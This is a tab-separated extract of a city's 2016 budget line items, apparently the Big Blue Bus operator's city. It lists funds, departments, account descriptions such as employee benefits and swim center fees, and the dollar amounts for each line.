19636	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2016	90068	0	0	0	0	0	0	0	0	0	0	0	90068
19637	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2016	9729	0	0	0	0	0	0	0	0	0	0	0	9729
19638	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2016	18591	0	0	0	0	0	0	0	0	0	0	0	18591
19639	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511749.0	VISION	840.0	Salaries and Wages	2016	4159	0	0	0	0	0	0	0	0	0	0	0	4159
19640	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511749.0	VISION	840.0	Salaries and Wages	2016	47340	0	0	0	0	0	0	0	0	0	0	0	47340
19641	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	511774.0	RETIREMENT - AS NEEDED	840.0	Salaries and Wages	2016	993	0	0	0	0	0	0	0	0	0	0	0	993
19642	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511774.0	RETIREMENT - AS NEEDED	840.0	Salaries and Wages	2016	1031	0	0	0	0	0	0	0	0	0	0	0	1031
19643	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511774.0	RETIREMENT - AS NEEDED	840.0	Salaries and Wages	2016	3291	0	0	0	0	0	0	0	0	0	0	0	3291
19644	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511774.0	RETIREMENT - AS NEEDED	840.0	Salaries and Wages	2016	16158	0	0	0	0	0	0	0	0	0	0	0	16158
19645	BA	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	671	WATER	403950.0	EPA WATER SYS IMPROV GRANT	610.0	Intergovernmental	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19646	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	405600.0	MILES PLAYHOUSE FEES	612.0	Charges for Service	2016	-6500	0	0	0	0	0	0	0	0	0	0	0	-6500
19647	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	579240.0	CIVIC PARKING BOND DEBT SERVIC	910.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19648	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2016	21321	0	0	0	0	0	0	0	0	0	0	0	21321
19649	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19650	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2016	14617	0	0	0	0	0	0	0	0	0	0	0	14617
19651	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2016	57224	0	0	0	0	0	0	0	0	0	0	0	57224
19652	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2016	10460	0	0	0	0	0	0	0	0	0	0	0	10460
19653	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401007.0	SWIM CENTER-SEMI-PRIVATE LESSO	612.0	Charges for Service	2016	-88200	0	0	0	0	0	0	0	0	0	0	0	-88200
19654	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2016	69503	0	0	0	0	0	0	0	0	0	0	0	69503
19655	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2016	1841	0	0	0	0	0	0	0	0	0	0	0	1841
19656	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561406.0	DIRECT SERVICES		 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19657	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2016	48216	0	0	0	0	0	0	0	0	0	0	0	48216
19658	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNEMPLOYMENT	810.0	Salaries and Wages	2016	1099	0	0	0	0	0	0	0	0	0	0	0	1099
19659	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2016	961	0	0	0	0	0	0	0	0	0	0	0	961
19660	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER		EAP	840.0	Salaries and Wages	2016	4853	0	0	0	0	0	0	0	0	0	0	0	4853
19661	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER		LIFE INSURANCE & AD & D	840.0	Salaries and Wages	2016	11116	0	0	0	0	0	0	0	0	0	0	0	11116
19662	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		UNEMPLOYMENT	808.0	Salaries and Wages	2016	28953	0	0	0	0	0	0	0	0	0	0	0	28953
19663	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		DISABILITY INSURANCE	808.0	Salaries and Wages	2016	41159	0	0	0	0	0	0	0	0	0	0	0	41159
19664	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS		UNEMPLOYMENT	808.0	Salaries and Wages	2016	6138	0	0	0	0	0	0	0	0	0	0	0	6138
19665	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE		DCAP	808.0	Salaries and Wages	2016	1218	0	0	0	0	0	0	0	0	0	0	0	1218
19666	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2016	12320	0	0	0	0	0	0	0	0	0	0	0	12320
19667	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511749.0	VISION	840.0	Salaries and Wages	2016	1035	0	0	0	0	0	0	0	0	0	0	0	1035
19668	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2016	405891	0	0	0	0	0	0	0	0	0	0	0	405891
19669	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511748.0	DENTAL	840.0	Salaries and Wages	2016	339599	0	0	0	0	0	0	0	0	0	0	0	339599
19670	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2016	149229	0	0	0	0	0	0	0	0	0	0	0	149229
19671	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	511749.0	VISION	840.0	Salaries and Wages	2016	1184	0	0	0	0	0	0	0	0	0	0	0	1184
19672	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION		EAP	806.0	Salaries and Wages	2016	16741	0	0	0	0	0	0	0	0	0	0	0	16741
19673	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES		DCAP	806.0	Salaries and Wages	2016	8910	0	0	0	0	0	0	0	0	0	0	0	8910
19674	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV		LIFE INSURANCE & AD & D	806.0	Salaries and Wages	2016	7783	0	0	0	0	0	0	0	0	0	0	0	7783
19675	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION		UNEMPLOYMENT	806.0	Salaries and Wages	2016	8845	0	0	0	0	0	0	0	0	0	0	0	8845
19676	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION		DISABILITY INSURANCE	806.0	Salaries and Wages	2016	4126	0	0	0	0	0	0	0	0	0	0	0	4126
19677	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE		UNEMPLOYMENT	806.0	Salaries and Wages	2016	60171	0	0	0	0	0	0	0	0	0	0	0	60171
19678	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE		EAP	806.0	Salaries and Wages	2016	11063	0	0	0	0	0	0	0	0	0	0	0	11063
19679	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER		UNEMPLOYMENT	840.0	Salaries and Wages	2016	18985	0	0	0	0	0	0	0	0	0	0	0	18985
19680	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER		DISABILITY INSURANCE	840.0	Salaries and Wages	2016	28838	0	0	0	0	0	0	0	0	0	0	0	28838
19681	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2016	1308	0	0	0	0	0	0	0	0	0	0	0	1308
19682	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE		EAP	808.0	Salaries and Wages	2016	738	0	0	0	0	0	0	0	0	0	0	0	738
19683	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		DCAP	808.0	Salaries and Wages	2016	504	0	0	0	0	0	0	0	0	0	0	0	504
19684	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2016	2468	0	0	0	0	0	0	0	0	0	0	0	2468
19685	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS		DISABILITY INSURANCE	808.0	Salaries and Wages	2016	9136	0	0	0	0	0	0	0	0	0	0	0	9136
19686	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE		UNEMPLOYMENT	808.0	Salaries and Wages	2016	17961	0	0	0	0	0	0	0	0	0	0	0	17961
19687	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE		EAP	808.0	Salaries and Wages	2016	2114	0	0	0	0	0	0	0	0	0	0	0	2114
19688	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2016	23686	0	0	0	0	0	0	0	0	0	0	0	23686
19689	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	400850.0	SWIM CENTER-SMC	612.0	Charges for Service	2016	-334400	0	0	0	0	0	0	0	0	0	0	0	-334400
19690	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401005.0	SWIM CENTER-ROOM RENTALS	612.0	Charges for Service	2016	-2700	0	0	0	0	0	0	0	0	0	0	0	-2700
19691	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	400660.0	TECHNOLOGY ENHANCEMENT FEE	612.0	Charges for Service	2016	-307660	0	0	0	0	0	0	0	0	0	0	0	-307660
19692	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511749.0	VISION	810.0	Salaries and Wages	2016	728	0	0	0	0	0	0	0	0	0	0	0	728
19693	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2016	2236	0	0	0	0	0	0	0	0	0	0	0	2236
19694	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511748.0	DENTAL	810.0	Salaries and Wages	2016	1809	0	0	0	0	0	0	0	0	0	0	0	1809
19695	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EAP	810.0	Salaries and Wages	2016	213	0	0	0	0	0	0	0	0	0	0	0	213
19696	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2016	321662	0	0	0	0	0	0	0	0	0	0	0	321662
19697	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		LIFE INSURANCE	810.0	Salaries and Wages	2016	1086	0	0	0	0	0	0	0	0	0	0	0	1086
19698	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2016	1414	0	0	0	0	0	0	0	0	0	0	0	1414
19699	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2016	2005	0	0	0	0	0	0	0	0	0	0	0	2005
19700	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER		DISABILITY INSURANCE	840.0	Salaries and Wages	2016	12176	0	0	0	0	0	0	0	0	0	0	0	12176
19701	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY		EAP	808.0	Salaries and Wages	2016	738	0	0	0	0	0	0	0	0	0	0	0	738
19702	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE		WELLNESS	808.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19703	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS		UNEMPLOYMENT	808.0	Salaries and Wages	2016	88967	0	0	0	0	0	0	0	0	0	0	0	88967
19704	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING		UNEMPLOYMENT	808.0	Salaries and Wages	2016	3354	0	0	0	0	0	0	0	0	0	0	0	3354
19705	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING		EAP	808.0	Salaries and Wages	2016	844	0	0	0	0	0	0	0	0	0	0	0	844
19706	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2016	121201	0	0	0	0	0	0	0	0	0	0	0	121201
19707	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	511748.0	DENTAL	840.0	Salaries and Wages	2016	20414	0	0	0	0	0	0	0	0	0	0	0	20414
19708	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511711.0	MEDICARE-POLICE	806.0	Salaries and Wages	2016	95774	0	0	0	0	0	0	0	0	0	0	0	95774
19709	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2016	11479	0	0	0	0	0	0	0	0	0	0	0	11479
19710	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	812.0	Salaries and Wages	2016	39099	0	0	0	0	0	0	0	0	0	0	0	39099
19711	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2016	57881	0	0	0	0	0	0	0	0	0	0	0	57881
19712	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2016	38998	0	0	0	0	0	0	0	0	0	0	0	38998
19713	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401000.0	SWIM CENTER	612.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19714	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401009.0	SWIM CENTER-AQUATIC SUPPLIES	612.0	Charges for Service	2016	-10700	0	0	0	0	0	0	0	0	0	0	0	-10700
19715	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	408000.0	INTERFUND SERVICES-POLICE OSE	612.0	Charges for Service	2016	-1416180	0	0	0	0	0	0	0	0	0	0	0	-1416180
19716	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2016	8710	0	0	0	0	0	0	0	0	0	0	0	8710
19717	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555210.0	TRAINING	810.0	 Supplies and Expenses	2016	2359	0	0	0	0	0	0	0	0	0	0	0	2359
19718	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2016	50260	0	0	0	0	0	0	0	0	0	0	0	50260
19719	BA	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	403820.0	SUMMER FOOD SERVICE PROGRAM	610.0	Intergovernmental	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19720	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577960.0	ARTS TRANSFER	908.0	 Supplies and Expenses	2016	-160000	0	0	0	0	0	0	0	0	0	0	0	-160000
19721	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	408000.0	INTERFUND SERVICES	650.0	Charges for Service	2016	-175529	0	0	0	0	0	0	0	0	0	0	0	-175529
19722	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	400701.0	PARKING CITATION REFUNDS	614.0	Fines and Forfeitures	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19723	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2016	526597	0	0	0	0	0	0	0	0	0	0	0	526597
19724	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2016	7704	0	0	0	0	0	0	0	0	0	0	0	7704
19725	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	522311.0	DISCOUNTS AVAILABLE	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19726	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522850.0	SPECIAL PROJECTS	806.0	 Supplies and Expenses	2016	269974	0	0	0	0	0	0	0	0	0	0	0	269974
19727	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401001.0	SWIM CENTER-GROUP LESSONS	612.0	Charges for Service	2016	-175700	0	0	0	0	0	0	0	0	0	0	0	-175700
19728	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401008.0	SWIM CENTER-WINTER PASSES	612.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19729	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544390.0	OTHER COSTS	810.0	 Supplies and Expenses	2016	52521	0	0	0	0	0	0	0	0	0	0	0	52521
19730	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2016	228015	0	0	0	0	0	0	0	0	0	0	0	228015
19731	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DCAP	810.0	Salaries and Wages	2016	144	0	0	0	0	0	0	0	0	0	0	0	144
19732	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2016	3282	0	0	0	0	0	0	0	0	0	0	0	3282
19733	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2016	543	0	0	0	0	0	0	0	0	0	0	0	543
19734	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544390.0	OTHER COSTS	810.0	 Supplies and Expenses	2016	2666	0	0	0	0	0	0	0	0	0	0	0	2666
19735	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511749.0	VISION	810.0	Salaries and Wages	2016	448	0	0	0	0	0	0	0	0	0	0	0	448
19736	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511970.0	OTHER FRINGE BENEFITS	810.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19737	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DCAP	810.0	Salaries and Wages	2016	216	0	0	0	0	0	0	0	0	0	0	0	216
19738	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2016	788192	0	0	0	0	0	0	0	0	0	0	0	788192
19739	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2016	530297	0	0	0	0	0	0	0	0	0	0	0	530297
19740	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	400320.0	MILES PLAYHOUSE PROD FEES	612.0	Charges for Service	2016	-17500	0	0	0	0	0	0	0	0	0	0	0	-17500
19741	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	408000.0	INTERFUND SERVICES-PKG OPS	612.0	Charges for Service	2016	-2270305	0	0	0	0	0	0	0	0	0	0	0	-2270305
19742	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2016	4910	0	0	0	0	0	0	0	0	0	0	0	4910
19743	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2016	19390	0	0	0	0	0	0	0	0	0	0	0	19390
19744	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511713.0	MEDICARE-MISC EMPLOYEES	806.0	Salaries and Wages	2016	8726	0	0	0	0	0	0	0	0	0	0	0	8726
19745	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2016	307045	0	0	0	0	0	0	0	0	0	0	0	307045
19746	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401002.0	SWIM CENTER-REC/LAP SWIM	612.0	Charges for Service	2016	-201600	0	0	0	0	0	0	0	0	0	0	0	-201600
19747	BA	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	403720.0	HUD SERIAL INEBRIATE GRANT	610.0	Intergovernmental	2016	-21672	0	0	0	0	0	0	0	0	0	0	0	-21672
19748	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNEMPLOYMENT	810.0	Salaries and Wages	2016	2286	0	0	0	0	0	0	0	0	0	0	0	2286
19749	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DISABILITY INSURANCE	810.0	Salaries and Wages	2016	3592	0	0	0	0	0	0	0	0	0	0	0	3592
19750	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2016	2658	0	0	0	0	0	0	0	0	0	0	0	2658
19751	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE		DISABILITY INSURANCE	808.0	Salaries and Wages	2016	8049	0	0	0	0	0	0	0	0	0	0	0	8049
19752	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS		DCAP	808.0	Salaries and Wages	2016	2012	0	0	0	0	0	0	0	0	0	0	0	2012
19753	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS		EAP	808.0	Salaries and Wages	2016	33739	0	0	0	0	0	0	0	0	0	0	0	33739
19754	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2016	1604	0	0	0	0	0	0	0	0	0	0	0	1604
19755	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING		DISABILITY INSURANCE	808.0	Salaries and Wages	2016	5090	0	0	0	0	0	0	0	0	0	0	0	5090
19756	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2016	12390	0	0	0	0	0	0	0	0	0	0	0	12390
19757	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2016	562664	0	0	0	0	0	0	0	0	0	0	0	562664
19758	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	511748.0	DENTAL	840.0	Salaries and Wages	2016	10207	0	0	0	0	0	0	0	0	0	0	0	10207
19759	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555870.0	GROCERY & SUNDRY ITEMS	810.0	 Supplies and Expenses	2016	23160	0	0	0	0	0	0	0	0	0	0	0	23160
19760	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511711.0	MEDICARE-POLICE	806.0	Salaries and Wages	2016	41233	0	0	0	0	0	0	0	0	0	0	0	41233
19761	BA	IS	1	General Fund	310	FIRE	315	TRAINING	511712.0	MEDICARE-FIRE	806.0	Salaries and Wages	2016	6694	0	0	0	0	0	0	0	0	0	0	0	6694
19762	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2016	14581	0	0	0	0	0	0	0	0	0	0	0	14581
19763	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2016	540	0	0	0	0	0	0	0	0	0	0	0	540
19764	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2016	24102	0	0	0	0	0	0	0	0	0	0	0	24102
19765	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DISABILITY INSURANCE	810.0	Salaries and Wages	2016	819	0	0	0	0	0	0	0	0	0	0	0	819
19766	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2016	2176	0	0	0	0	0	0	0	0	0	0	0	2176
19767	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522950.0	CNG FUEL	816.0	 Supplies and Expenses	2016	445	0	0	0	0	0	0	0	0	0	0	0	445
19768	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	401610.0	LIBRARY CAFE RENT	618.0	Rentals	2016	-36300	0	0	0	0	0	0	0	0	0	0	0	-36300
19769	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522900.0	MEMBERSHIPS AND DUES		 Supplies and Expenses	2016	1020	0	0	0	0	0	0	0	0	0	0	0	1020
